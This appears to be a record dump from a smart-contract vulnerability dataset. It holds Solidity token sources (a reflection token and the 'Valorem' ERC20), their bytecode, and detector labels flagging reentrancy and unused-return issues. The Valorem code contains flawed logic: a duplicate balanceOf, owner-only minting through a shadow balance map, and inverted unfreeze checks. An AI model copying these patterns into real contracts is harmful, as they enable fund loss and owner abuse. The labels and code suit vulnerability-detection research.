(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610321578063c3c8cd8014610341578063c9567bf914610356578063cfe81ba01461036b578063dd62ed3e1461038b57600080fd5b8063715018a614610275578063842b7c081461028a5780638da5cb5b146102aa57806395d89b41146102d2578063a9059cbb1461030157600080fd5b8063273123b7116100e7578063273123b7146101e2578063313ce567146102045780635932ead1146102205780636fc3eaec1461024057806370a082311461025557600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101c257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a81526950656e50656e20496e7560b01b60208201525b604051610160919061187d565b60405180910390f35b34801561017557600080fd5b50610189610184366004611704565b6103d1565b6040519015158152602001610160565b3480156101a557600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610160565b3480156101ce57600080fd5b506101896101dd3660046116c3565b6103e8565b3480156101ee57600080fd5b506102026101fd366004611650565b610451565b005b34801561021057600080fd5b5060405160098152602001610160565b34801561022c57600080fd5b5061020261023b3660046117fc565b6104a5565b34801561024c57600080fd5b506102026104ed565b34801561026157600080fd5b506101b4610270366004611650565b61051a565b34801561028157600080fd5b5061020261053c565b34801561029657600080fd5b506102026102a5366004611836565b6105b0565b3480156102b657600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102de57600080fd5b506040805180820190915260068152652822a72822a760d11b6020820152610153565b34801561030d57600080fd5b5061018961031c366004611704565b610607565b34801561032d57600080fd5b5061020261033c366004611730565b610614565b34801561034d57600080fd5b506102026106aa565b34801561036257600080fd5b506102026106e0565b34801561037757600080fd5b50610202610386366004611836565b610aa9565b34801561039757600080fd5b506101b46103a636600461168a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103de338484610b00565b5060015b92915050565b60006103f5848484610c24565b610447843361044285604051806060016040528060288152602001611a69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f07565b610b00565b5060019392505050565b6000546001600160a01b031633146104845760405162461bcd60e51b815260040161047b906118d2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cf5760405162461bcd60e51b815260040161047b906118d2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050d57600080fd5b4761051781610f41565b50565b6001600160a01b0381166000908152600260205260408120546103e290610fc6565b6000546001600160a01b031633146105665760405162461bcd60e51b815260040161047b906118d2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106025760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600a55565b60006103de338484610c24565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161047b906118d2565b60005b81518110156106a65760016006600084848151811061066257610662611a19565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e816119e8565b915050610641565b5050565b600c546001600160a01b0316336001600160a01b0316146106ca57600080fd5b60006106d53061051a565b90506105178161104a565b6000546001600160a01b0316331461070a5760405162461bcd60e51b815260040161047b906118d2565b600f54600160a01b900460ff16156107645760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a430826b033b2e3c9fd0803ce8000000610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dd57600080fd5b505afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610815919061166d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610895919061166d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061166d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109458161051a565b60008061095a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f6919061184f565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611819565b600d546001600160a01b0316336001600160a01b031614610afb5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600b55565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610ef7576001600160a01b03831660009081526006602052604090205460ff16158015610dbf57506001600160a01b03821660009081526006602052604090205460ff16155b610dc857600080fd5b600f546001600160a01b038481169116148015610df35750600e546001600160a01b03838116911614155b8015610e1857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2d5750600f54600160b81b900460ff165b15610e8a57601054811115610e4157600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6557600080fd5b610e7042601e611978565b6001600160a01b0383166000908152600760205260409020555b6000610e953061051a565b600f54909150600160a81b900460ff16158015610ec05750600f546001600160a01b03858116911614155b8015610ed55750600f54600160b01b900460ff165b15610ef557610ee38161104a565b478015610ef357610ef347610f41565b505b505b610f028383836111d3565b505050565b60008184841115610f2b5760405162461bcd60e51b815260040161047b919061187d565b506000610f3884866119d1565b95945050505050565b600c546001600160a01b03166108fc610f5b8360026111de565b6040518115909202916000818181858888f19350505050158015610f83573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9e8360026111de565b6040518115909202916000818181858888f193505050501580156106a6573d6000803e3d6000fd5b600060085482111561102d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047b565b6000611037611220565b905061104383826111de565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109257611092611a19565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e657600080fd5b505afa1580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e919061166d565b8160018151811061113157611131611a19565b6001600160a01b039283166020918202929092010152600e546111579130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611190908590600090869030904290600401611907565b600060405180830381600087803b1580156111aa57600080fd5b505af11580156111be573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f02838383611243565b600061104383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061133a565b600080600061122d611368565b909250905061123c82826111de565b9250505090565b600080600080600080611255876113b0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611287908761140d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b6908661144f565b6001600160a01b0389166000908152600260205260409020556112d8816114ae565b6112e284836114f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132791815260200190565b60405180910390a3505050505050505050565b6000818361135b5760405162461bcd60e51b815260040161047b919061187d565b506000610f388486611990565b60085460009081906b033b2e3c9fd0803ce800000061138782826111de565b8210156113a7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cd8a600a54600b5461151c565b92509250925060006113dd611220565b905060008060006113f08e878787611571565b919e509c509a509598509396509194505050505091939550919395565b600061104383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f07565b60008061145c8385611978565b9050838110156110435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b60006114b8611220565b905060006114c683836115c1565b306000908152600260205260409020549091506114e3908261144f565b30600090815260026020526040902055505050565b600854611505908361140d565b600855600954611515908261144f565b6009555050565b6000808080611536606461153089896115c1565b906111de565b9050600061154960646115308a896115c1565b905060006115618261155b8b8661140d565b9061140d565b9992985090965090945050505050565b600080808061158088866115c1565b9050600061158e88876115c1565b9050600061159c88886115c1565b905060006115ae8261155b868661140d565b939b939a50919850919650505050505050565b6000826115d0575060006103e2565b60006115dc83856119b2565b9050826115e98583611990565b146110435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b803561164b81611a45565b919050565b60006020828403121561166257600080fd5b813561104381611a45565b60006020828403121561167f57600080fd5b815161104381611a45565b6000806040838503121561169d57600080fd5b82356116a881611a45565b915060208301356116b881611a45565b809150509250929050565b6000806000606084860312156116d857600080fd5b83356116e381611a45565b925060208401356116f381611a45565b929592945050506040919091013590565b6000806040838503121561171757600080fd5b823561172281611a45565b946020939093013593505050565b6000602080838503121561174357600080fd5b823567ffffffffffffffff8082111561175b57600080fd5b818501915085601f83011261176f57600080fd5b81358181111561178157611781611a2f565b8060051b604051601f19603f830116810181811085821117156117a6576117a6611a2f565b604052828152858101935084860182860187018a10156117c557600080fd5b600095505b838610156117ef576117db81611640565b8552600195909501949386019386016117ca565b5098975050505050505050565b60006020828403121561180e57600080fd5b813561104381611a5a565b60006020828403121561182b57600080fd5b815161104381611a5a565b60006020828403121561184857600080fd5b5035919050565b60008060006060848603121561186457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118aa5785810183015185820160400152820161188e565b818111156118bc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198b5761198b611a03565b500190565b6000826119ad57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119cc576119cc611a03565b500290565b6000828210156119e3576119e3611a03565b500390565b60006000198214156119fc576119fc611a03565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051757600080fd5b801515811461051757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fb8ca9f0472b64760ead896fa9974c19303d69f07f345ad6044e5607c051acfb64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,812
0x99e0326245460cc89c72fd8ef5d35bc446725cb6
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns(uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns(uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused, "Contract Paused. Events/Transaction Paused until Further Notice"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused, "Contract Functionality Resumed"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract StandardToken is Pausable { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 supply; uint256 public initialSupply; uint256 public totalSupply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; mapping (address => uint256) public balanceOf; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() public { name = "Valorem"; symbol = "VLR"; decimals = 18; supply = 200000000; initialSupply = supply * (10 ** uint256(decimals)); totalSupply = initialSupply; balances[owner] = totalSupply; balanceOf[msg.sender] = initialSupply; bountyTransfers(); } function bountyTransfers() internal { address reserveAccount; address bountyAccount; uint256 reserveToken; uint256 bountyToken; reserveAccount = 0x000f1505CdAEb27197FB652FB2b1fef51cdc524e; bountyAccount = 0x00892214999FdE327D81250407e96Afc76D89CB9; reserveToken = ( totalSupply * 25 ) / 100; bountyToken = ( reserveToken * 7 ) / 100; balanceOf[msg.sender] = totalSupply - reserveToken; balanceOf[bountyAccount] = bountyToken; reserveToken = reserveToken - bountyToken; balanceOf[reserveAccount] = reserveToken; emit Transfer(msg.sender,reserveAccount,reserveToken); emit Transfer(msg.sender,bountyAccount,bountyToken); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view whenNotPaused returns (uint256) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view whenNotPaused returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public whenNotPaused returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Valorem is StandardToken { using SafeMath for uint256; mapping (address => uint256) public freezed; event Burn(address indexed burner, uint256 value); event Mint(address indexed to, uint256 amount); event Withdraw(address indexed _from, address indexed _to, uint256 _value); event Freeze(address indexed from, uint256 value); event Unfreeze(address indexed from, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner whenNotPaused { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } function burnFrom(address _from, uint256 _value) public onlyOwner whenNotPaused { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public onlyOwner whenNotPaused returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function freeze(address _spender,uint256 _value) public onlyOwner whenNotPaused returns (bool success) { require(_value < balances[_spender]); require(_value >= 0); balances[_spender] = balances[_spender].sub(_value); freezed[_spender] = freezed[_spender].add(_value); emit Freeze(_spender, _value); return true; } function unfreeze(address _spender,uint256 _value) public onlyOwner whenNotPaused returns (bool success) { require(freezed[_spender] < _value); require(_value <= 0); freezed[_spender] = freezed[_spender].sub(_value); balances[_spender] = balances[_spender].add(_value); emit Unfreeze(_spender, _value); return true; } function withdrawEther(address _account) public onlyOwner whenNotPaused payable returns (bool success) { _account.transfer(address(this).balance); emit Withdraw(this, _account, address(this).balance); return true; } function newTokens(address _owner, uint256 _value) onlyOwner public{ balanceOf[_owner] = balanceOf[_owner].add(_value); totalSupply = totalSupply.add(_value); emit Transfer(this, _owner, _value); } function() public payable { } }
0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461013f578063095ea7b3146101c957806318160ddd1461020157806323b872dd1461022857806324bce60c14610252578063313ce56714610276578063378dc3dc146102a15780633f4ba83a146102b6578063406f11f5146102cb57806340c10f19146102ec57806342966c68146103105780634c985dfb146103285780635c975abb1461034c578063661884631461036157806370a082311461038557806379cc6790146103a65780637b46b80b146103ca5780638456cb59146103ee5780638da5cb5b1461040357806395d89b4114610434578063a9059cbb14610449578063af933b571461046d578063d73dd62314610481578063dd62ed3e146104a5575b005b34801561014b57600080fd5b506101546104cc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018e578181015183820152602001610176565b50505050905090810190601f1680156101bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d557600080fd5b506101ed600160a060020a0360043516602435610559565b604080519115158252519081900360200190f35b34801561020d57600080fd5b50610216610625565b60408051918252519081900360200190f35b34801561023457600080fd5b506101ed600160a060020a036004358116906024351660443561062b565b34801561025e57600080fd5b506101ed600160a060020a03600435166024356107f5565b34801561028257600080fd5b5061028b61095c565b6040805160ff9092168252519081900360200190f35b3480156102ad57600080fd5b50610216610965565b3480156102c257600080fd5b5061013d61096b565b3480156102d757600080fd5b50610216600160a060020a0360043516610a2c565b3480156102f857600080fd5b506101ed600160a060020a0360043516602435610a3e565b34801561031c57600080fd5b5061013d600435610b83565b34801561033457600080fd5b5061013d600160a060020a0360043516602435610c0b565b34801561035857600080fd5b506101ed610cac565b34801561036d57600080fd5b506101ed600160a060020a0360043516602435610cbc565b34801561039157600080fd5b50610216600160a060020a0360043516610e13565b3480156103b257600080fd5b5061013d600160a060020a0360043516602435610e94565b3480156103d657600080fd5b506101ed600160a060020a0360043516602435610fa5565b3480156103fa57600080fd5b5061013d61110c565b34801561040f57600080fd5b506104186111d4565b60408051600160a060020a039092168252519081900360200190f35b34801561044057600080fd5b506101546111e3565b34801561045557600080fd5b506101ed600160a060020a036004351660243561123b565b6101ed600160a060020a036004351661136f565b34801561048d57600080fd5b506101ed600160a060020a036004351660243561146c565b3480156104b157600080fd5b50610216600160a060020a036004358116906024351661156a565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105515780601f1061052657610100808354040283529160200191610551565b820191906000526020600020905b81548152906001019060200180831161053457829003601f168201915b505050505081565b6000805460a060020a900460ff16156105be576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b336000818152600860209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60065481565b6000805460a060020a900460ff1615610690576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b600160a060020a0384166000908152600760205260409020548211156106b557600080fd5b600160a060020a03841660009081526008602090815260408083203384529091529020548211156106e557600080fd5b600160a060020a03831615156106fa57600080fd5b600160a060020a038416600090815260076020526040902054610723908363ffffffff6115fb16565b600160a060020a038086166000908152600760205260408082209390935590851681522054610758908363ffffffff61160d16565b600160a060020a03808516600090815260076020908152604080832094909455918716815260088252828120338252909152205461079c908363ffffffff6115fb16565b600160a060020a0380861660008181526008602090815260408083203384528252918290209490945580518681529051928716939192600080516020611730833981519152929181900390910190a35060019392505050565b60008054600160a060020a0316331461080d57600080fd5b60005460a060020a900460ff1615610871576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b600160a060020a038316600090815260076020526040902054821061089557600080fd5b60008210156108a357600080fd5b600160a060020a0383166000908152600760205260409020546108cc908363ffffffff6115fb16565b600160a060020a038416600090815260076020908152604080832093909355600a90522054610901908363ffffffff61160d16565b600160a060020a0384166000818152600a6020908152604091829020939093558051858152905191927ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e092918290030190a250600192915050565b60035460ff1681565b60055481565b600054600160a060020a0316331461098257600080fd5b60005460a060020a900460ff1615156109e5576040805160e560020a62461bcd02815260206004820152601e60248201527f436f6e74726163742046756e6374696f6e616c69747920526573756d65640000604482015290519081900360640190fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b600a6020526000908152604090205481565b60008054600160a060020a03163314610a5657600080fd5b60005460a060020a900460ff1615610aba576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b600654610acd908363ffffffff61160d16565b600655600160a060020a038316600090815260076020526040902054610af9908363ffffffff61160d16565b600160a060020a038416600081815260076020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206117308339815191529181900360200190a350600192915050565b600054600160a060020a03163314610b9a57600080fd5b60005460a060020a900460ff1615610bfe576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b610c083382611620565b50565b600054600160a060020a03163314610c2257600080fd5b600160a060020a038216600090815260096020526040902054610c4b908263ffffffff61160d16565b600160a060020a038316600090815260096020526040902055600654610c77908263ffffffff61160d16565b600655604080518281529051600160a060020a0384169130916000805160206117308339815191529181900360200190a35050565b60005460a060020a900460ff1681565b60008054819060a060020a900460ff1615610d23576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b50336000908152600860209081526040808320600160a060020a0387168452909152902054808310610d7857336000908152600860209081526040808320600160a060020a0388168452909152812055610dad565b610d88818463ffffffff6115fb16565b336000908152600860209081526040808320600160a060020a03891684529091529020555b336000818152600860209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000805460a060020a900460ff1615610e78576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b50600160a060020a031660009081526007602052604090205490565b600054600160a060020a03163314610eab57600080fd5b60005460a060020a900460ff1615610f0f576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b600160a060020a0382166000908152600860209081526040808320338452909152902054811115610f3f57600080fd5b600160a060020a0382166000908152600860209081526040808320338452909152902054610f73908263ffffffff6115fb16565b600160a060020a0383166000908152600860209081526040808320338452909152902055610fa18282611620565b5050565b60008054600160a060020a03163314610fbd57600080fd5b60005460a060020a900460ff1615611021576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b600160a060020a0383166000908152600a6020526040902054821161104557600080fd5b600082111561105357600080fd5b600160a060020a0383166000908152600a602052604090205461107c908363ffffffff6115fb16565b600160a060020a0384166000908152600a60209081526040808320939093556007905220546110b1908363ffffffff61160d16565b600160a060020a038416600081815260076020908152604091829020939093558051858152905191927f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f92918290030190a250600192915050565b600054600160a060020a0316331461112357600080fd5b60005460a060020a900460ff1615611187576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105515780601f1061052657610100808354040283529160200191610551565b6000805460a060020a900460ff16156112a0576040805160e560020a62461bcd02815260206004820152603f60248201526000805160206117508339815191526044820152600080516020611710833981519152606482015290519081900360840190fd5b336000908152600760205260409020548211156112bc57600080fd5b600160a060020a03831615156112d157600080fd5b336000908152600760205260409020546112f1908363ffffffff6115fb